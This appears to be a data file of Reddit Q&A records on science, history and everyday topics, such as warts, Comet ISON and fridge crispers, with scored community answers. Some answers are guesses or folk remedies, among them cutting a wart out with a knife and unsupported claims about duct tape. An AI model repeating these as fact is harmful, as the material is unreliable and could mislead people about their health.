{"q_id": "47flsi", "title": "Do moving masses leave a wake of gravitational waves behind them?", "selftext": "If you were on a planet, and that planet was the only thing of mass in the universe, could you tell if you were moving by looking for a wake of gravitational ripples behind the planet, like the wake of a ship? Maybe this would only be noticeable if the planet were moving at a significant percentage the speed of light, or if the planet were accelerating or decelerating", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47flsi/do_moving_masses_leave_a_wake_of_gravitational/", "answers": {"a_id": ["d0clvo3", "d0cp840"], "score": [18, 8], "text": ["gravitational waves can only emitted by accelerating masses; masses moving at constant velocity cannot emit gravitational waves. It's the same as with charges.", "Consider a beach ball floating gently on the surface of a pool.  It makes no waves, even if it is in motion due to a current.  But if it accelerates relative to the motion of the water around it, it makes waves.\n\nThe reason why there are waves with a ship even when it is already moving through water is because water isn't quite like spacetime, it is a real medium and has an inertial motion and mass of its own, while spacetime does not.  Therefore it resists the ship's motion actively through friction while spacetime does not.  When there is no friction, there are no waves due to inertial motion.\n\nHope that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bw82x9", "title": "francium and astatine", "selftext": "ELI5: Why are the elements Francium and Astatine so rare? Why does it deteriorate so quickly? Any other interesting Francium or Astatine trivia?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bw82x9/eli5_francium_and_astatine/", "answers": {"a_id": ["epvunv3", "epvuoxy", "epwa0k3"], "score": [3, 3, 3], "text": ["Mainly because like all heavy elements (anything past bismuth) their nuclei are so large that they are not stable and fall apart into smaller, more stable elements. Most notably a small helium nucleus is likely to form within the  larger nuclear and be ejected. Most astatine decays too fast for it to be useful for anything and francium is so violently reactive with water that even before it has a chance to decay it will probably react with the moisture in the air", "Francium is very radioactive and has a 22 minute  half life. That means every day a given sample halves itself 65 times and you\u2019re left with 1/(2^65 ) as much as you had yesterday.\n\nThat\u2019s roughly 1/32,000,000,000,000,000,000th.", " >  Any other interesting Francium or Astatine trivia?\n\nAstatine comes from the Greek 'astatos' meaning \"unstable\".  If it was a more common and stable element, then it would have gotten a different name.\n\nFrancium is the element between Radon and Radium, so it's in a region of radioactive elements.  It was named after the home country of its discoverer, Marguerite Perey, who was a student of Marie Curie.  Polonium (the element before Astatine) is named after the home country of Marie Curie (nee Sk\u0142odowska).  Both women died in their mid-60s of ailments likely contracted from exposure to radiation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2gf6kr", "title": "why having a fever causes my eyes to hurt when i look up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gf6kr/eli5_why_having_a_fever_causes_my_eyes_to_hurt/", "answers": {"a_id": ["ckil805", "ckiltij", "ckirxqg"], "score": [5, 42, 7], "text": ["I get something like that too. I get a brief dizzy spell when I look to the left while feverish. ", "Not an expert but from what I understand you have sinus pockets behind your eyes that will get clogged up when you are sick. I'm assuming this causes your eyes to hurt when you move them. ", "I always know when I'm really sick because of this \"trick\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3tnjz6", "title": "how does duct tape remove warts?", "selftext": "I know it's accepted that duct tape removes warts. How? Is it a certain chemical? Does it suffocate it? I can't find the answer to this anywhere.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tnjz6/eli5_how_does_duct_tape_remove_warts/", "answers": {"a_id": ["cx7oogz", "cx7pe34", "cx7pmkw", "cx7pmzm", "cx7r1j0", "cx7r8bi", "cx7riyn", "cx7rlkh", "cx7s5kn", "cx7s6be", "cx7t9tv", "cx7vx3z", "cx7w1i1", "cx7z259", "cx7zprw", "cx7zu8b", "cx7zz8j", "cx80h07", "cx83b6o"], "score": [330, 10, 80, 114, 2, 20, 3, 15, 4, 2, 8, 8, 20, 3, 4, 2, 2, 2, 6], "text": ["You're having trouble finding an answer because there just isn't a lot of good medical information about this topic because it is a home remedy. The most popular theory is that a chemical in the ductape triggers a response from your body's immune system, which then attacks the wart. ", "Suffocation is the most believed and \"proven\" answer but even doctors will tell you they aren't 100% on that. Other adhesive tapes work too but duct tape seems to be the winner. Probably because everyone has it.", "I was imagining warts being ripped off by duct tape. Never heard of this home remedy, luckily never had a wart. ", "My doctor told me, when my daughter was having her wart frozen, that the only thing that gets rid of warts is your own immune system.  The freezing irritates the skin enough that there is a significant immune response to the area, which then attacks the wart.  She said the duct tape probably causes a similar irritation to the skin, inducing the immune response.  ", "good and simple remedy against warts:\nlet a lemon skin rest in vinegar for 2 days. \nThen cut a piece of that lemon skin just a little bigger than the wart, and stick it on the wart with band aid. Change it every 12 hours. within 2 weeks, the wart is gone. No pain, no freezing.", "I'm not sure. I had a massive one on my toe for a while and I used some crushed aspirin and duct tape. It fell out and left a pretty decent hole of dead skin.", "Had a couple of warts as a kid. The \"home remedy\" I used was to cut a potato in half, rub the open face on the wart, and then bury both halves but don't tell anyone where. It worked on 3 occasions. ", "From my dermatologist. It works by depriving that region of oxygen which signals to your brain that something is not right, which then sends white blood cells to investigate and destroy the wart virus.", "Warts also go away on their own. \n\nIf you work on it, then watching fox news while pressing your warts against the screen will become 'accepted' as a remedy. \n\n", "I have been struggling with warts for 3 years now. They would keep spreading and getting bigger if I did not freeze and burn them with acid to reduce their size. I resorted to habitually put duck tape on all of them, and replace the tape when it became lose. Its now about 2 months down the rode and just last week they all started disappearing. I think it is mostly luck of the draw wether or not, or how long it will take your body to take a look at why something is wrong there ", "Nobody knows. Its interesting, wart treatmentsa re actually compared relative to duct tape, and as far as I know duct tape is still the most effective treatment.", "Likely an immune response caused by maceration (skin softening and turning white do to constant wetness).\n\nThough I have absolutely no credentials, I want to guess that the thickening of the skin around the wart causes one of two things to happen:\n\n* The immune system doesn't recognize the viral infection, and therefore doesn't respond\n\nor, the more likely (IMO)\n\n* The skin around a wart is too thick for an immune response to help.\n\nSo, if you put duct tape over a wart, the skin is going to get softer and softer, allowing things like macrophages to get past the thick layer around the wart and kill the virus.\n\nAgain, I'm just some shmoe on the Internet who didn't take a biology course in high school, and nearly failed chemistry, but it's anyone's guess right now, and that's mine.", "Am I the only one that dug the black center dot out with a knife??\n\nWorked every time.. ", "My doctor actually wrote a book on warts (I know...)\n\nHe told me that when two groups are separated into a control and experimental and the treatment is the duct tape, the recovery rates are very similar. My doctor believes that it's a placebo and that the only reason it helps is because it covers it up so you don't spread it to the skin around it.\n\nThere really isn't much medical evidence that says it works.", "Simply put, it doesn't.\n\n[Duct tape for the treatment of common warts in adults: a double-blind randomized controlled trial.](_URL_0_)\n\nRESULTS:\nThere were no statistically significant differences in the proportions of patients with resolution of the target wart (8 [21%] of 39 patients in the treatment group vs 9 [22%] of 41 in the control group). Of patients with complete resolution, 6 (75%) in the treatment group and 3 (33%) in the control group had recurrence of the target wart by the sixth month.", "Had warts on every finger that were so big my fingernails came off. They were spreading at an alarming pace... I countless appointments at multiple physicians' offices to have them frozen which never worked. Went and had them cauterized with no success. Finally, had surgery which pretty much removed the tips of each finger... they came back 2 weeks later.\n\nOne afternoon I went to an urgent care and a new doctor told me to put a few drops of 'Compound W' on each wart and cover it with the adhesive end of a band-aid. Two weeks later they fell off. \n\n\nHome remedies ain't that bad.", "This is the first I hear of this, but I get the feeling that there's going to be a lot of people taping their genitals today. ", "Duct tape has formaldehyde in the adhesive.   Formaldehyde is antimicrobial including antiviral.   \nKeeping duct tape on the wart eventually deactivated the virus but it has to be able to penetrate to the base of the wart and that takes some time.   If you add some aspirin, the acid will soften the wart and eat away at the dense wart skin.   \n  \n\"Mode of Action.\u00a0Formaldehyde inactivates microorganisms by alkylating the amino and sulfhydral groups of proteins and ring nitrogen atoms of purine bases\u00a0376.\n\nMicrobicidal Activity.\u00a0Varying concentrations of aqueous formaldehyde solutions destroy a wide range of microorganisms. Inactivation of poliovirus in 10 minutes required an 8% concentration of formalin, but all other viruses tested were inactivated with 2% formalin 72. Four percent formaldehyde is a tuberculocidal agent, inactivating 104 M. tuberculosis in 2 minutes 82, and 2.5% formaldehyde inactivated about 107 Salmonella Typhi in 10 minutes in the presence of organic matter\u00a0572. The sporicidal action of formaldehyde was slower than that of glutaraldehyde in comparative tests with 4% aqueous formaldehyde and 2% glutaraldehyde against the spores of B. anthracis 82. The formaldehyde solution required 2 hours of contact to achieve an inactivation factor of 104, whereas glutaraldehyde required only 15 minutes.\"\n\n[Source](_URL_0_) ", "The adhesive on the tape acts as a minor irritant. In addition, the constant tugging and pulling on your skin from the tape as you move start a primary immune response (innate immune response). These cells are may pick up viral proteins and present them to your adaptive immune system which can then do a better job of clearing things out. \n\nSource: Had a wart, Got explanation from dermatologist.\nSecond Source: Molecular Biology degree, Honors research in immunology"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/17372095"], [], [], ["http://www.cdc.gov/hicpac/Disinfection_Sterilization/7_0formaldehyde.html"], []]}
{"q_id": "5f0dcp", "title": "In Vietnam and Korea is what Americans call the Vietnam and Korean War, called the American war?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5f0dcp/in_vietnam_and_korea_is_what_americans_call_the/", "answers": {"a_id": ["daguans"], "score": [2], "text": ["for korea(s) _URL_0_ south korea, the korean war is called \ud55c\uad6d\uc804\uc7a5, which is korean war, and in north korea it's called \uc870\uad6d\ud574\ubc29\uc804\uc7c1, which is 'fatherland liberation war'.\n\nfor vietnam, yes, or \"the resistance war against america\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["no.in"]]}
{"q_id": "1l4jir", "title": "Comet Ison, purportedly will be 15 times the brightness of the full moon in the sky, visible near the end of 2013. Can any astronomers clear up the nebulous information that we've been getting from the media?", "selftext": "Some say that the comet is comprised of many objects. Is this true?\n\n[I am referring to this image](_URL_0_).\n\nScroll up until you see the comet and darken the image with the controls. Clearly there is more than one object in the nucleus.\n\nedit: added link to image of comet.\n\nedit 2: thanks for all the responses. I realize that there is a link now at the top of the page mentioned above that explains that it's a multiple-exposure, but at the time of posting this question yesterday it was not there. Now I have many arguments to show my brother that [his theory is not correct](_URL_1_). Much love, Reddit.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l4jir/comet_ison_purportedly_will_be_15_times_the/", "answers": {"a_id": ["cbvqpr0", "cbvqznr", "cbvs73a", "cbvsdm7", "cbvt2pp", "cbvtu49", "cbvv0do", "cbvv0m4", "cbvv18q", "cbvvtaj", "cbvw3t8", "cbvwxrd", "cbvyqgx", "cbw4k22", "cbw5ae0"], "score": [48, 319, 11, 15, 183, 4, 2, 7, 3, 3, 17, 15, 4, 2, 2], "text": ["Comets are balls of ice, dust, rock, and frozen gases.  Think of it like a really, really dirty snowball.\n\nIn the picture you linked, you can see 3 brighter areas, but that doesn't necessarily mean that it's disjoint bodies.  Comets are typically not massive enough to have sufficient gravity to pull themselves into a round shape, so they are irregular bodies.\n\nThey're also very, very dark.  They reflect about as much incident light as charcoal or fresh asphalt.  This makes it pretty difficult to photograph a comet nucleus.\n\nIt's more likely that you're just seeing areas where the albedo of the comet varies, or the surface is shaped in a way that it reflects light more intensely in those areas.\n\n**Edit:** Actually, looking at it again, those actually appear to be **[diffraction spikes](_URL_0_)** from the optics.  Notice how the angle of the \"bodies\" aligns with the 8-bladed spike patterns around the larger stars.", "1) Predicting peak brightness of comets is notoriously unreliable. You can get some idea (if it's bright far away, it's *probably* going to be bright when it comes near. Lot of unreliability comes from the fact that during their perihelion comets often get very near the sun and can get destroyed or greatly reduced in mass.\n\n2) The peak brightness can be astonishing, but it invariably happens very near the Sun, which will make the comet appear much less brilliant.\n\n3) It's possible for a comet to be binary or multiple objects, but that's not that common. The other possibility are gas/dust jets: as comet approaches the sun, it warms up and various volatile components start to evaporate and can sometimes form something like a geyser.", "Comet ISONs perihelion (when it passes closest to the sun) is November 28th.  This is when it will have the largest \"tail\" and thus reflect the most light.  However, it is also close to the sun, which makes viewing more difficult.  Even so, best views will be in November.\n\n[Currently](_URL_0_) it is 338m km from the sun, approaching at a velocity of 27.9 km/sec.\n\nBecause it's going to pass [so close (730k miles)](_URL_1_), and because we don't know exactly what the sun will be doing (flares, solar ejections, etc.) at that point, it's not possible to predict exactly how visible the comet will be. It's possible that the radiation from the sun could rip it apart and leave it much smaller and less impressive than we're hoping.", "The \"multiple object\" thing is due to Hubble orbiting the earth while making this observation. It's essentially the astronomical version of motion blur.\n\n_URL_0_\n\n", "Just so you know, the latest reports on ISON have indicated that it will not be bright at all, and it's rather likely that it won't even be visible by the naked eye.\n\nIt's been discussed a couple times on /r/space:\n\n* [Reuters article](_URL_0_)\n* [Sky and Telescope article](_URL_1_) - amateur observations support the theory that it may have fizzled out.\n", "Will it be visible from the Southern Hemisphere?", "Another article talking about recent developments surrounding ISON\n\n_URL_0_", "Here is the response from the STScI on the image blown up by the media: _URL_0_\n\nIt just due to image stacking and the motion of HST.", " >  Clearly there is more than one object in the nucleus.\n\nNo, it's not clear at all. You can't see anything between the individual bright spots, so you don't know if that's really empty space or just an artifact of the imaging system and darkening algorithm, which it very likely is because the individual pieces of the comet would probably be either too massive to not come together under gravity or would be too small to not be separated by the gravity from planets.", "That there appear to be multiple objects is apparently an artefact of the photgraphic process, _URL_0_", "The short and accurate answers are: the comet will brighten close to its perihelion (in November 2013) but will be a daytime object, close to the sun. Care needs to be taken while looking for the comet that close to the sun. And no, the comet is not comprised of multiple objects. The image that is referred to in the question is a composite made up of several images by HST that tracked the stars instead of the comet and then combined them to highlight the fainter sky objects.\n\nThe best references that address some of these points and provide the latest info are:\n\n_URL_1_ (for scientific information) and \n_URL_0_ (for the full explanation of how the image was created);\n_URL_2_ (for pro-amateur collab on observations of C/ISON).\n_URL_3_ (Comet ISON Toolkit)", "It's really a shame that media has decided to call it comet Ison. Following convention, its name should be **Comet Nevski-Novichonok**, in tribute to the astronomers who discovered it, as we have named previous comet like Lovejoy and Hale-Bopp.", "In response to your question of more than one object:\n\n\"The comet itself does not have 3 pieces. They are an artifact that results from adding up the separate exposures. \"\n\n_URL_0_", " >  Clearly there is more than one object in the nucleus.\n\nBut if you click the link on that same page [\"Why does this image look strange?\"](_URL_0_) it says pretty plainly \"The comet itself does not have 3 pieces. They are an artifact that results from adding up the separate exposures.\"", "I've been curious about comet ISON. What are the implications of its parabolic orbit? To me, an amateur layman, it seems to have been perturbed in its ancient, outer solar system orbit by an object and ejected to the inner solar system on an escape trajectory. Are there any hypotheses about the object which caused ISON to have its current trajectory? Is such inference even possible with what we know about the comet? Very interesting, since the Oort cloud is so vastly unknown."]}, "title_urls": [], "selftext_urls": ["http://hla.stsci.edu/cgi-bin/display?image=hlsp_ison_hst_wfc3_130430_f606w_v1&amp;autoscale=&amp;title=Ison%20130430%20WFC3%20F606W", "http://i.imgur.com/HkPOzEH.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/File:NGC6397.jpg"], [], ["http://theskylive.com/ison-tracker", "http://www.nasa.gov/content/goddard/timeline-of-comet-ison-s-dangerous-journey/"], ["http://www.youtube.com/watch?v=9xY2w9dXJGY"], ["http://www.reddit.com/r/space/comments/1jc4oy/comet_of_the_century_may_fizzle_out_astronomers/", "http://www.reddit.com/r/space/comments/1kaopw/comet_ison_spotted_again_after_being_behind_suns/"], [], ["http://www.space.com/22405-comet-ison-lackluster-brightness-predictions.html"], ["http://archive.stsci.edu/hla/ison/"], [], ["http://www.reddit.com/r/askscience/comments/1kvuhn/what_would_cause_the_irregular_shape_of_comet/"], ["www.archive.stsci.edu/hla/ison/", "www.isoncampaign.org/blog", "www.facebook.com/groups/cioc.ison", "http://solarsystem.nasa.gov/ison"], [], ["http://archive.stsci.edu/hla/ison/"], ["http://archive.stsci.edu/hla/ison/"], []]}
{"q_id": "aa0zd8", "title": "people described as 'butchering' something denotes that they have done a poor job/made a mess of it. but butchers are masters of their craft, what's the connection?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aa0zd8/eli5_people_described_as_butchering_something/", "answers": {"a_id": ["eco4apt", "eco4b6h", "eco5ph8", "eco5qqj", "eco5vle", "eco6v93", "ecoerl7"], "score": [3, 19, 28, 3, 102, 8, 2], "text": ["A butcher is a master in their craft yes, but from a  cows perspective the butcher isn't exactly making him \"better\".\n\n\nI think the idea is: they made something SO bad, you have to have done it on purpose.\n\nIt has to be your job to make things bad, because this is so bad it cannot be done if you are not a master of the craft of making things worse.", "While it takes plenty of work, skill, and knowledge to properly carve up and piece out an animal, to a layperson who's looking in from the outside, the craft looks messy and brutal.  There's not a lot of elegance or subtlety to it to most people, because it can just look like a person with a very large knife breaking down a carcass.  I'm sure that there's plenty of subtlety to getting everything just right to the best butchers themselves, but we're talking outside appearance here.\n\nSo that's where the term originates in that sense.  Where a surgeon might give the appearance of sterility, care, and fine skill, a butcher can definitely give the opposite appearance.  So if something is done in a messy or heavy-handed way, we might call it butchery, though it's disrespectful to the butchers out there.", "I don't care how good a butcher you are; primal cuts don't come out looking anything like a cow.", "Wow a lot of people have different ideas about where this expression came from. Maybe they are right, I always figured it was just because butchering a full animal is messy even when you have expertise in it.", "When an animal has been butchered it becomes unrecognizable. It\u2019s not just dead, it\u2019s in pieces. It carries the connotation that what\u2019s been done can\u2019t be fixed.\n\nEdit: spelling ", "A butcher cuts something up into a series of joints of meats which once a carcass has been disassembled it is impossible to put it back together again, so the carcass has been \"completely butchered\".", "I have a friend whose last name is Butcher. We were roommates for a while and the two of us tried to convince our social circle to use \"butcher\" as doing something exceptionally well instead of messing up.\n\nIt didn't really catch on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "10k8r1", "title": "Is it possible to \"trick\" your body into enjoying something.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10k8r1/is_it_possible_to_trick_your_body_into_enjoying/", "answers": {"a_id": ["c6e6sjm"], "score": [23], "text": ["Ok, first things first, endorphins are a mechanism (one of many), underlying the complex emotion we call \"enjoyment.\"  There are many other neurotransmitters involved in the experience of positive emotion (e.g., dopamine, 5HT), and there are aspects of enjoyment which don't depend upon any neurochemical in particular (e.g., the cognitive preprocessing which detects and categorizes an activity as \"enjoyable\" isn't localized or solely dependent on any single neurotransmitter).  \n\n**tl;dr**Our brains are complex, multi-component systems there's no centralized \"enjoyment\" box.  \n\nThe second thing I notice is that your question seems to imply that enjoyment is always the same.  That it's not possible to enjoy some parts of things and dislike others (i.e., have mixed feelings).  That doesn't match my experience, nor the broader literature on emotion which stresses multiple interacting emotional systems.  People watch sad movies and horror movies and seem to enjoy them, though they don't usually enjoy sadness or fear.  \n\n**tl;dr**Enjoyment is a complex multi-component thing also.  \n\nThe third thing I notice is that you said \"your brain.\"  This is sort of a warning flag in neuroscience questions because it implies a difference between \"you\" and \"your brain\" (i.e., it's a dualist view of the world.  The brain is different from the soul).  There are some differences between those two concepts (e.g., your body, your social groups, your environment), but to a first approximation you = brain.  Both you and your brain are complex and have multiple components, so you can have mixed feelings about things, and have internal disagreements when different components reach different conclusions, but to the extent that anyone anywhere has ever enjoyed anything ever it was because of a brain response.  The weirdness in the question is that it seems to require you to be two people, the tricker and the trickee.  If you know that you're smiling to increase your enjoyment of something that seems to me like you're training yourself to like it more.  Since you (and thus, your brain) are aware of this, I can't figure out what the deception is.  \n\n**tl;dr** Since you and your brain are roughly the same entity, you're training yourself, not tricking yourself.  \n\nOk, so with all those knowledge bombs dropped, your specific proposal is sort of workable: [facial feedback](_URL_1_) is a thing.  (see especially the [buck](_URL_0_) paper which is a nice review).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.communicationcache.com/uploads/1/0/8/8/10887248/nonverbal_behavior_and_the_theory_of_emotion-_the_facial_feedback_hypothesis..pdf", "http://en.wikipedia.org/wiki/Facial_feedback_hypothesis"]]}
{"q_id": "ngv18", "title": "why convicts and felons aren't allowed to enlist in the u.s military?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ngv18/eli5_why_convicts_and_felons_arent_allowed_to/", "answers": {"a_id": ["c38z9pv", "c38zgsv", "c38zm5t", "c390dpi", "c38z9pv", "c38zgsv", "c38zm5t", "c390dpi"], "score": [7, 8, 14, 2, 7, 8, 14, 2], "text": ["Being convicted of a felony is seen as a character flaw.  Since the US military is being shrunk and unemployment is high, the military can be pickier about who they select for enlistment.  For many military jobs you're required to have a security clearance, and felonies are like kryptonite to being vetted for a clearance.  Felons are also not allowed to own firearms, which complicates basic things soldiers do like handling weapons.", "Believe it or not, serving in the Military is a privilege. Those with a felony conviction have proven that they do not, in general, deserve that privilege. There are some waivers authorized, but they are very few, very hard to come by, and very specific about what is allowed. As it should be. \n\nSoldiers should not have to worry that the person to his left or right will rob him on payday or burn down the barracks one night. I understand that some have done their time and reformed, but the Army has enough enlistees nowadays, and doesn't need to take that chance. ", "The main attribute the military looks for in a soldier is discipline.  In the heat of battle, a soldier must be confident that his fellow troops will join him in obeying orders.  Commission of a felony shows a major lapse in one's record of discipline. ", "One of the reasons is this douche bag:  _URL_0_\n\nJohn Walker had a criminal record and enlisted in the navy.  He then sold all kinds of secrets to the Soviets, some of which might have directly affected troops in Vietnam.\n\nThat not being douchy enough, this asshole actually had his kids join the military so they could collect secrets for him that he could then sell to the Soviets.\n\nNow regardless of how you might feel about the ethics of US Foreign Policy, having your kids commit treason for you so you can make money is fucked up.\nHis son actually spent time in prison.  I think his daughter got a plea deal.\n\nAfter this occurred the DOD tightened up their standards for military service regarding criminal records.", "Being convicted of a felony is seen as a character flaw.  Since the US military is being shrunk and unemployment is high, the military can be pickier about who they select for enlistment.  For many military jobs you're required to have a security clearance, and felonies are like kryptonite to being vetted for a clearance.  Felons are also not allowed to own firearms, which complicates basic things soldiers do like handling weapons.", "Believe it or not, serving in the Military is a privilege. Those with a felony conviction have proven that they do not, in general, deserve that privilege. There are some waivers authorized, but they are very few, very hard to come by, and very specific about what is allowed. As it should be. \n\nSoldiers should not have to worry that the person to his left or right will rob him on payday or burn down the barracks one night. I understand that some have done their time and reformed, but the Army has enough enlistees nowadays, and doesn't need to take that chance. ", "The main attribute the military looks for in a soldier is discipline.  In the heat of battle, a soldier must be confident that his fellow troops will join him in obeying orders.  Commission of a felony shows a major lapse in one's record of discipline. ", "One of the reasons is this douche bag:  _URL_0_\n\nJohn Walker had a criminal record and enlisted in the navy.  He then sold all kinds of secrets to the Soviets, some of which might have directly affected troops in Vietnam.\n\nThat not being douchy enough, this asshole actually had his kids join the military so they could collect secrets for him that he could then sell to the Soviets.\n\nNow regardless of how you might feel about the ethics of US Foreign Policy, having your kids commit treason for you so you can make money is fucked up.\nHis son actually spent time in prison.  I think his daughter got a plea deal.\n\nAfter this occurred the DOD tightened up their standards for military service regarding criminal records."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/John_Anthony_Walker"], [], [], [], ["http://en.wikipedia.org/wiki/John_Anthony_Walker"]]}
{"q_id": "6220ty", "title": "where did the term 'uncle sam' (referring to the us) came from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6220ty/eli5_where_did_the_term_uncle_sam_referring_to/", "answers": {"a_id": ["dfj2yao"], "score": [2], "text": ["Not sure the actual origin but the early 1800s a man,  Samuel Wilson,  supplied beef to the army when it was in high demand. Back then you were required to stamp your initials and where the food was coming from/going to. I think people jokingly called him uncle Sam. And it stuck. \n\nLike I said,  I don't know the actual origin or if anyone actually does. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11kta1", "title": "Sherlock s2e3: would that work? (Spoilers)", "selftext": "In the episode, Moriarty essentially proves that the crown jewels are not as protected as everyone thought by fucking with the system, bringing down the security systems and then sitting in the throne. The way he gets access to it is by, with gum, sticking a very tiny diamond onto the glass barrier around the jewels and smashing into it with a fire extinguisher. I understand the principles behind it: Diamonds are the toughest natural substance and thus can scratch or break anything, (though I don't know much about high security glass) but my question is whether the method is sound. Assuming the glass is supposed to be some super sturdy protective glass and not just the safety glass that they really used, would a tiny tiny diamond (like smaller than a pinky fingernail) hit with the force of a person swinging a fire extinguisher be enough to break high security glass? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11kta1/sherlock_s2e3_would_that_work_spoilers/", "answers": {"a_id": ["c6nclur"], "score": [2], "text": ["This would not work on polycarbonate protective \"glass\", which is what I assume something like the crown jewels would probably be stored under, because it is more like a plastic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2quubr", "title": "is it possible for the usa to fall like rome etc did and another 'super power' to take over?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2quubr/eli5_is_it_possible_for_the_usa_to_fall_like_rome/", "answers": {"a_id": ["cn9q1ly", "cn9r5r0", "cn9rsin", "cn9rxvv", "cn9sxre", "cn9tpkx", "cn9uc3i", "cn9xqh2"], "score": [90, 4, 2, 40, 3, 5, 2, 2], "text": ["Yes. Every world power in human history has collapsed in upon itself or fell to conquerors. There's no reason to believe the US is unique in that regard.", "Yeah, but it's gonna take a long time.\n\nThe fall as a military power is gonna be messy. I think economic already happened personally. Culturally could take even longer than military.", "As others said, it will take a long time. I actually see the trend going towards consolidation of power into larger non-state groups through global power alliances and corporate growth. ", "Just to add a little flavor to the comments:\n\nNo.\n\nThe question really depends on what you mean by \"fall\" and what time frame you are asking about. I think for the foreseeable future the game is the US's to lose basically because we are more powerful across a wider array of relevant factors than other countries. Here are some of our advantages:\n\n-Large population, but not overpopulated\n\n-Rich in resources\n\n-Vast territorial extent but not dependent on remote colonies\n\n-Unparalleled military power\n\n-World leader in science and technology\n\n-World leader in business\n\n-We control the world's reserve currency\n\n-Cultural cachet\n\n-Diverse economy made up primarily of services but also including advanced manufacturing and commodities\n\n-Political unity/stability\n\n-Surprisingly good diplomatic ties\n\nMany other countries have some of these advantages, but there really is no other country that can lay claim to all of them. \n\nAlso, you could make a more complicated argument that the overall likelihood of *any* radical or fundamental change in the current world order is decreasing:\n\n-The entire surface of the planet has now been explored. There are no new hidden continents, yet\n\n-Feasible space travel/colonization is still hundreds or thousands of years away\n\n-Military technology has reached a level of sophistication that makes massive military aggression against even relatively small states less likely. Nuclear weapons are more powerful than ever, and some experts think that there will *never* be a satisfactory deterrent.\n\n-New diseases could break out, but we know enough about epidemiology now that it's extremely unlikely that it would lead to the kind of massive population reductions that occurred in previous eras.\n\n-Humanity is (very slowly) starting to become more sophisticated about planning to deal with existential threats from the natural world like rising water levels/global warming. We're slowly getting better at predicting natural disasters.", "It most certainly will be overtaken in most if not all areas it currently leads in.  \n\nTechnological - in the last 10 yrs there has been a massive move to SE Asia.\n\nEducation - There are more PHD students in China at the moment than the USA has ever had in its history.  The USA does still lead with the amount of world class universities it has, but this is bound to fall as other countries develop their own.  Also the amount of foreign students engaged at these institutions is increasing.\n\nMilitary - An interesting one, it is fine being able to act in Afghanistan or Iraq but does this military prowess actually carry any power in Europe, China, India or Russia? I think not.\n\nEconomy - Rich without a shadow of doubt but bankrupt at the same time.  The USA coughed and the world's economy caught a cold.  I don't think the same would happen again.  In Europe, for example, the banks now have to pass stress tests to ensure a similar collapse lead by another nation could not happen again.  There are other countries with higher average earnings and others with larger economies.  \n\nSpace - Undoubted world leader but can not even get its own people to the ISS now.\n\nBusiness - A very interesting one, the world's biggest start ups are Chinese.  The biggest investment funds are in the Middle East and Scandinavia. \n\nWhat will be the moment when the USA is not seen as the global leader? I think it depends on you really.  I suspect a large amount of people in China already think they are the new World Leaders.  I am sure many in Germany look at their economy and manufacturing businesses and believe that they are the world's leader.  \n\nIt won't be sudden it will take decades, hundreds or maybe thousands of years.  Who knows but the next world leaders may by 5000yrs away and be from our colonies on Mars but one thing is I think is a certainty each and every President from now will have less and less of a world influence than his/her predecessor.   ", "Ita not only possible its inevitable.  Beware the military industrial complex. \nAs stated below every major empire has fallen and it will always happen because in the end people always repeat the same mistakes.  \n\n\nYou always hear people say \" history repeats its self \" this is wrong, people always make the same mistakes.  And the fact is were doing the same things that Rome did. \n\nI'm sure some one will come up with some smart ass comment like \" we haven't taken over the majority of the world \" etc.. but in a way we have and its therw for every one to see so are countless other things most of which are not good.", "Most likely Americas decline will be in the form of fragmentation. Secession and civil war. ", "Maybe, or they'll decline like Greece where a bunch of nouveau riche upstarts appear, adopt their culture and technology, fall behind and remain to develop the new cultures upper class. Basically China at the minute sending the richer classes children to be educated in western universities.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1frolj", "title": "how crispers work", "selftext": "why if i put fruit in a crisper it stays fresh but if i just put it in the fridge it goes bad? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1frolj/eli5_how_crispers_work/", "answers": {"a_id": ["cad6j50"], "score": [3], "text": ["If you put a head of lettuce in the fridge, it gains moisture and gets soggy. The additional moisture allows moss to grow as well, making it go very bad. \n\nIf you put it in the crisper, the moisture level remains the same and it stays crispy and fresh. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
